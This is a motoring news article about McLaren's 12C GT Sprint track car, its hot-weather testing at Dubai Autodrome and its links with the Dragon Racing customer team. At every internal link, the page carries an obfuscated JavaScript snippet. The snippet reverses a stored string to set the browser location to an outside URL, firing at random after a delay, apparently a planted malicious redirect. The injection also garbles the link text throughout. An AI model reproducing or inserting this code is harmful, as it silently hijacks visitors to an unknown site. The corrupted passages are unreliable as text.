crankandpiston gets exclusive access to the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=McLaren” target=”_blank”>McLaren 12C GT Sprint during hot weather testing at the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=duabi+Autodrome” target=”_blank”>Dubai Autodrome, UAE.
[Not a valid template]With $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=McLaren” target=”_blank”>McLaren Racing celebrating its 50th Anniversary, the announcement last week that the Wizards of Woking are to release a high performance track variant of the MP4-12C road car couldn’t have been more appropriately timed.
The $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=McLaren” target=”_blank”>McLaren 12C GT Sprint bridges the gap between the 12C road car and the 12C GT3 racer and has just had its world premiere at the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=Goodwood” target=”_blank”>Goodwood Festival of Speed this weekend. crankandpiston were on-hand during top secret, hot weather testing of the 12C GT Sprint Prototype a few months ago and – now the cat is out of the bag – we can reveal some of the details.
Following on from testing in Bahrain, the development of the 12C GT Sprint moved to the United Arab Emirates for, principally, hot weather testing. It was here – at the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=duabi+Autodrome” target=”_blank”>Dubai Autodrome in 42ºC heat – that development continued and was also an opportunity for McLaren to work closely with a prospective customer as Mark Harrison – Regional Director for McLaren Automotive Middle East and Africa – explains.
“What is very useful for us is that we are working very closely with $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=Dragon+Racing” target=”_blank”>Dragon Racing and Leon Price – who is an existing GT3 customer – and already has a relationship with McLaren GT. We are therefore working directly, almost hand-in-hand, with a customer to develop the car for requirements.”
It is immediately apparent that the 12C GT Sprint is not a road car that has been converted for track duty. It is built by McLaren GT in its Headquarters in Unit 1 – the old Formula 1 Headquarters of McLaren – where they build the GT3 cars. The Carbon MonoCell has a full FIA-approved cage bonded in to it and construction proceeds from there. There is also an on-board air jacking system which makes changing the centre-locking 19-inch OZ wheels that little bit speedier.
Andrew Kirkaldy – Managing Director of McLaren GT – is keen to point out that the 12C GT Sprint does have many similarities to the road car. It is running the same ECUs – but with different software – and the development of this car could actually further develop the road car unlike the GT3 which runs very different electronics and setup.
“It is the suspension (the Tenneco Kinetic-based system which McLaren refer to as pro-active chassis control) which is really impressive on the race track. This is the first time that it has been used more in a race scenario with the slick tyres and track specs. It is amazing the difference that actually makes. This car doesn’t have a differential, it uses brake steer like they ran in Formula 1 for many years. You have the seven speed twin-clutch gearbox which is almost seamless shift. It is great to have all these bits of technology because, generally in racing, a lot of these things are not allowed. They have them in Formula 1, they get banned and then they go in to road cars but you don’t tend to see them again on the race track. It is great to see something with all this technology back on a circuit.”
There has been a huge amount of development going in to this car. Cooling, brakes and aero – and obviously the safety requirements pertaining to a track focused car – have been prioritised. The prototype tested in Dubai was running the active aero brake – same as the road car – but an extra aero package will be offered with fixed wing for maximum downforce.
Something unique about the 12C GT Sprint – and surely a selling point in the Middle East – is that a lightweight air-conditioning unit has been retained. With Leon Price confirming that temperatures in one of the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=Dragon+Racing” target=”_blank”>Dragon Racing GT cars – which was also testing on the day – were well above 60ºC, the McLaren proved a much more driver friendly environment.
This is a car that brings McLaren full circle. As a racing brand and quite a new road car company, this brings it all back to racing again and a natural evolution of McLaren Automotive. Leon Price – and drivers Rob Barff and Jordan Grogor – are obviously convinced as the first six production 12C GT Sprint cars will be hitting the UAE tracks from this September, run and owned by $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=Dragon+Racing” target=”_blank”>Dragon Racing.
